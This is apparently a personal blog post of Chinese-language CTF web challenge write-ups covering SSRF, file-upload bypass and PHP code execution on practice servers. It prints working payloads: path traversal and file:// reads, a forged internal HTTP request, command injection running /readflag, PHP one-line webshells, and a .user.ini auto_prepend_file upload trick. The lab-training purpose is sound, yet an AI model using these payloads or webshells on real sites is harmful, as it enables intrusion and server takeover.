web刷题

SSRF

[NISACTF 2022]easyssrf

0x01

这道题的思路比较简单

就是使用ssrf访问文件

image-20231130093853864

给了一个接口,那么就直接访问

image-20231130093925060

跟着他走

file:////fl4g

image-20231130094012524

访问它指定的路径

出现了

file_get_contents

image-20231130094113614

0x02

通过这个函数,我们可以直接访问文件

他又说了文件在flag,所以就直接访问flag

建议直接尝试比较长的路径

?file=../../../../../../../flag

image-20231130094245225

[HNCTF 2022 WEEK2]ez_ssrf已解决

[HNCTF 2022 WEEK2]ez_ssrf | NSSCTF

0x00

访问他给的地址,然后发现这个

image-20231130095243554

出现了

fsockopen()

那就构造数据发送

0x01

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

data

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

得到flag

这里就相当于是伪造了一个请求,请求了服务端,但是这个host和port不是很理解

image-20231130095633444

[HITCON 2017]SSRFme

这道题需要代码审计

访问,出现了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];// 以上的只是为了告诉我们ip地址,也就是下面加密需要用到的东西

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//这个是加密路径,相当于url文件访问路径,有了上面的ip就可以计算出这个值
@mkdir($sandbox);//创建目录
@chdir($sandbox);//将当前php的目录改为这个

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

0x00

首先先md5找到对应的路径

786c0b7e11c1e9322763fcc8090ef181

image-20231130160232238

0x01

创建一个目录

?url=/&filename=temp

访问

http://d9768014-7cfd-42d6-841e-07f9b9e5dc90.node4.buuoj.cn/sandbox/786c0b7e11c1e9322763fcc8090ef181/temp

image-20231130160609970

出现了一些路径

image-20231130160640457

有一个readfalg,这个是一个程序,所以我们想办法运行,并且将将运行的数据存放到我们的文件里面

使用bash -c /readflag是使用bash运行程序

/?url=file:bash -c /readflag& filename=bash -c /readflag

/?url=bash -c /readflag & filename=123

然后访问123

http://1e99b289-a06d-43fe-aa18-d5367c10e0d9.node4.buuoj.cn/sandbox/786c0b7e11c1e9322763fcc8090ef181/123

image-20231130165650011

upload file

[极客大挑战 2019]Upload

0x00 考点

  1. 后缀绕过
  2. Content-Type
  3. <?绕过

0x01

我先尝试直接上传php文件之后

image-20231201151743522

0x02

修改Content-Type

0x03

image-20231201151831483

说明已经通过了一个测试点了

但是这里他说我们上传的是php,说明他检测到了我们的后缀

0x04

尝试修改文件名,修改了很多都不行

我看了其他师傅的wp发现这个地方需要上传phtml

image-20231201152127655

他这里开始了内容检查,我们上传不带<?

也就是使用php+html形式

0x05

绕过<?

1
2
GIF89a?
<script language="php">eval($_REQUEST[value])</script

image-20231201152622012

0x06

然后就是连接

image-20231201153024703

测试出路径为/upload

[攻防世界]easyupload

0x00 前菜

这道题挺有趣的,首先

可以尝试上传文件,这个是文件内容的检测,所以需要将一句话木马变成下面这个

1
<?phP eval($_POST['cmd']); ?>

我以为游戏结束了,没想到,这个文件不能访问

0x01 .htaccess && .user.ini

.htaccess 这个是apache的配置文件,可以解析图片为php

.user.ini 与htaccess 类似,但是用的会普遍一点

这里上传**.htaccess** 不行,所以上传.user.ini试试

auto_prepend_file = 1.png

这个就是说,与.user.ini同一个目录下的文件都会包含1.png文件

如果我们在png里面放置木马就会执行这个木马

那就直接上传.user.ini文件,然后再上传1.png文件

0x02 重要

最重要的是,当前目录之下必须要有php文件,因为没有文件的话,就不能执行1.png

注意连接的时候也是访问,当前目录的php文件,因为文件本生还是不具有执行权限

RCE

[SWPUCTF 2021 新生赛]easyrce

0X00 被坑了

这道题看见了eval()函数,这个函数可以把字符串当做php代码执行,但是….

PHP eval() 函数 | 菜鸟教程 (runoob.com)

0x01 system && shell_eval

直接尝试运行代码,读取flag

cat /f*

但是这个时候我是用shell_eval()没有任何反应

当我开始迷茫的时候尝试使用system()执行,出答案

0x02 区别

shell_exec() 将执行结果当作返回值,并不会主动输出,而是赋值给变量

system() 执行命令,并输出到浏览器


web刷题
https://tsy244.github.io/2023/11/30/CTF刷题记录/WEB/web刷题/
Author
August Rosenberg
Posted on
November 30, 2023
Licensed under